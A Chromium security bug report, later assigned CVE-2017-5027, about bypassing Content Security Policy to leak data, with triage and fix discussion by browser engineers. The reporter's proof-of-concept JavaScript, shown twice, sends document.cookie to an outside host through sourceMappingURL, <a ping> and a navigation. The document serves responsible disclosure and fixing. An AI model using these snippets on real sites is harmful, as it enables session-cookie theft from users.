Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Issue 661126 meta bug: Bypass unsafe-inline mode CSP
Starred by 2 users Reported by masa....@gmail.com, Nov 1 Back to list
Status: Fixed
Owner: ----
Closed: Nov 15
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: 1
Type: Bug-Security

Blocked on: View detail
issue 663048
issue 663049



Sign in to add a comment
UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36

Steps to reproduce the problem:

1. Use sourceMapping POC:
document.write(`<script>//# sourceMappingURL=https://pkav/?${escape(document.cookie)}</script>`)

2. Use <a ping>:
a=document.createElement('a')
a.href='#'
a. ping=`//pkav/?${escape(document.cookie)}`
a. click()

3. Use http 204 status
location=`https://www.google.com/csi?${escape(document.cookie)}`;

What is the expected behavior?
send a request with data to pkav

What went wrong?
should be block it.

Did this work before? N/A 

Chrome version: 54.0.2840.71  Channel: stable
OS Version: 10.0
Flash Version: Shockwave Flash 23.0 r0
 
Cc: jww@chromium.org
Thanks for the report. Is your expected behavior here that a request should _not_ be sent, assuming unsafe-inline CSP policy is set to disallow? And are your three repro steps intended to be alternates methods of the same thing, or in series?

jww: Can you comment on the expected behaviour of CSP here?
Cc: mkwst@chromium.org
oops, jww is ooo. mkwst: Can you advise? Thanks.
series, pkav server will receive a request and user cookie.
Cc: jochen@chromium.org pfeldman@chromium.org
It sounds like you're suggesting a few things:

1.  Source map requests should be constrained by a page's policy to prevent data exfiltration. They aren't really scripts, but should probably slot in under `script-src`, so that `script-src https://example.com/` would not allow a source map from `https://evil.com/`. This seems like a reasonable change to make.

2.  We shouldn't parse source maps in scripts that we're not executing. This also seems like a reasonable change, for the same reasons.

3.  We should block `<a ping>`: this should be governed by `connect-src`, is that not happening?

4.  We should block navigations: we're discussing this addition to the spec in https://github.com/w3c/webappsec-csp/issues/125. Your comments would be appreciated. :)

5.  We should block ES6 template strings in some way as inline script? I'm not sure I follow the logic. Could you help me understand the risk they present?

CCing jochen@ and pfeldman@ for the sourcemap questions, as I'm not actually sure if those are pulled in via V8 or the Inspector (or the preloader?).
Cc: nparker@chromium.org
Components: Blink>SecurityFeature
Labels: Security_Impact-Head Security_Severity-Medium
Owner: lukasza@chromium.org
Status: Assigned
Tagging as medium severity for the exfiltration potential, and the same for <a ping>, though I haven't been able to confirm that.

lukasza -- Is this up your alley?
Project Member Comment 6 by sheriffbot@chromium.org, Nov 5
Labels: M-56
Project Member Comment 7 by sheriffbot@chromium.org, Nov 5
Labels: ReleaseBlock-Beta
This issue is a security regression. If you are not able to fix this quickly, please revert the change that introduced it.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 8 by sheriffbot@chromium.org, Nov 5
Labels: -Pri-2 Pri-1
Project Member Comment 9 by sheriffbot@chromium.org, Nov 6
Labels: M-56
Project Member Comment 10 by sheriffbot@chromium.org, Nov 6
Labels: ReleaseBlock-Beta
This issue is a security regression. If you are not able to fix this quickly, please revert the change that introduced it.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 11 by sheriffbot@chromium.org, Nov 7
Labels: M-56
Status: Started
Blockedon: 663048
Blockedon: 663049
1. I am not able to trigger a fetch of a sourceMappingURL without reloading the page while devtools is open - the only fetch request I saw came a DevTools specific callstack: 

#2 0x7f7978b5b749 net::URLFetcherCore::Start()
#3 0x7f7978b6f790 net::URLFetcherImpl::Start()
#4 0x7f797fdaeff3 DevToolsUIBindings::LoadNetworkResource()
(this is handling DevToolsHostMsg_DispatchOnEmbedder IPC).

Q: Is there some way to trigger a fetch of sourceMappingURL *without* having devtools opened?


2. I agree with mkwst@ from #c4, item 2, that we shouldn't parse scripts that don't match a CSP nonce or digest.  AFAICT this is the behavior today.

I didn't see fetch request (reloading with devtools opened as explained above) from scripts blocked because their nonce or digest didn't match:

<script nonce="mismatchednonce">
//# sourceMappingURL=http://localhost:8080/resources/dummy.xml
</script>

Looking at the source code blocking of inline scripts is also happening before any further processing (e.g. parsing of javascript) - i.e. callers of ContentSecurityPolicy::allowInlineScript seems to still be working with unparsed text form of the script.  For example, 


3. AFAICT anchor's ping is not covered by CSP today.  I'll open a separate bug and work on a fix (which I think should be easy - fingers crossed :-)


4. Similarily to mkwst@ in #c4, item 4, I think that preventing step #3 of the repro steps and blocking navigations originating from a CSP-protected frame is a new feature request (i.e. that not blocking outgoing navigations is WAI given current CSP spec).  

4.b. I don't understand what is the significance of http 204 in step #3 of the repro steps.


5. Similarily to mkwst@ in #c4, item 5, I don't understand the significance of ES6 template strings.  If we allow script execution then it will also allow executing the ${...} part template strings - this is WAI IMO.  In my attempts, I was not able to trigger script execution via ES6 template strings, unless script was already executing - I tried the following things + verified that the alert did not fire:

<script nonce="mismatched-nonce">
//# sourceMappingURL=http://localhost:8080/resources/dummy.txt#`${alert("FAIL"); "blah"}`
</script>

<script nonce="mismatched-nonce">
x = `${alert("FAIL"); "blah"}`
</script>


I think the only remaining follow up that is needed here is:

- Make sure sourceMappingURL is covered by CSP (via script-src or connect-src).
  I've opened issue 663049 to track this.

- Make sure that <a ping="..." ...>...</a> is covered by CSP (via connect-src).
  I've opened issue 663048 to track this.


Please let me know if you think I've missed any other issues that need to be tracked and/or fixed.
Security sheriffs:

I think it might be desirable to assign different security severity to *separate* sub-issues (see #c15 or issues blocking the current bug).  In particular I think that sourceMappingURL (issue 663049) shouldn't be treated as Security_Severity-Medium and/or ReleaseBlock-Beta unless the fetch can happen without first opening a DevTools window.

WDYT?
Yup, splitting and labeling separately makes sense. I'll mark that as severity low, and the <ping> bug severity-medium. I'll leave this as-is for now.
location=`https://www.google.com/csi?${escape(document.cookie)}`;

It can bypass unsafe-inline csp send a request to www.google.com and don't navigate.
to  lukasza:

yes, I verified it, sourceMapping POC need opened devtools.
I've sorted it out,and delete sourceMapping PoC :)

<a ping> PoC:
a=document.createElement('a')
a.href='#'
a. ping=`//pkav/?${escape(document.cookie)}`
a. click()

3. HTTP 204 status PoC
location=`https://www.google.com/csi?${escape(document.cookie)}`;
Cc: lukasza@chromium.org
Labels: -ReleaseBlock-Beta
Owner: ----
Status: Available
Status update:

- CSP enforcement for <a ping=...> is fixed and merged back to M55 (issue 663048)

- sourceMappingURL might be WAI, since it requires opened DevTools (tracked in issue 663049)


I am not sure what are the next steps for this bug, so let me remove myself from the owner field :-/.  Please shout if you think there are some steps we should do for this bug.

BTW - if you have any ideas for a way to audit various ways to trigger resource 
((audit whether all the resource requests are protected via CSP), then please speak up.  FWIW, I've tried to add ad-hoc logging of all CSP checks into a global std::set<GURL> + for all resource requests verify whether they've been looked at by CSP (i.e. if they are present in the set).  I haven't seen anything wrong so far (in particular resources linked from within SVG seem okay because they need to be same origin as the main SVG resource) but I do note that I had to make some broad exceptions (e.g. all navigational requests are kind of by-design not enforced via CSP today as noted in #c4, item 4).

Also - given that the fix for issue 663048 has been merged into Beta, I think we can remove the ReleaseBlock-Beta from the current bug (i.e. from the meta bug).
Summary: meta bug: Bypass unsafe-inline mode CSP (was: Bypass unsafe-inline mode CSP)
Project Member Comment 23 by sheriffbot@chromium.org, Nov 15
Labels: ReleaseBlock-Beta
This issue is a security regression. If you are not able to fix this quickly, please revert the change that introduced it.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: -ReleaseBlock-Beta -Security_Severity-Medium Security_Severity-Low
Let me try to redo what I did in #c21, but this time replicate security severity from the only left blocking sub-bug (issue 663049).  Hopefully this will prevent sheriffbot@ from making additional edits and from unnecessarily adding release block labels.
Status: Fixed
Actually, I think the current bug can be marked as sufficiently fixed after r430629 (and the associated merge), and we can continue tracking the remaining issues in:

- https://crbug.com/663049 (sourceMappingURL)
- https://github.com/w3c/webappsec-csp/issues/125 (navigations)
Project Member Comment 26 by sheriffbot@chromium.org, Nov 16
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -Security_Impact-Head Security_Impact-Stable Release-0-M56 CVE-2017-5027
Project Member Comment 28 by sheriffbot@chromium.org, Feb 22
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment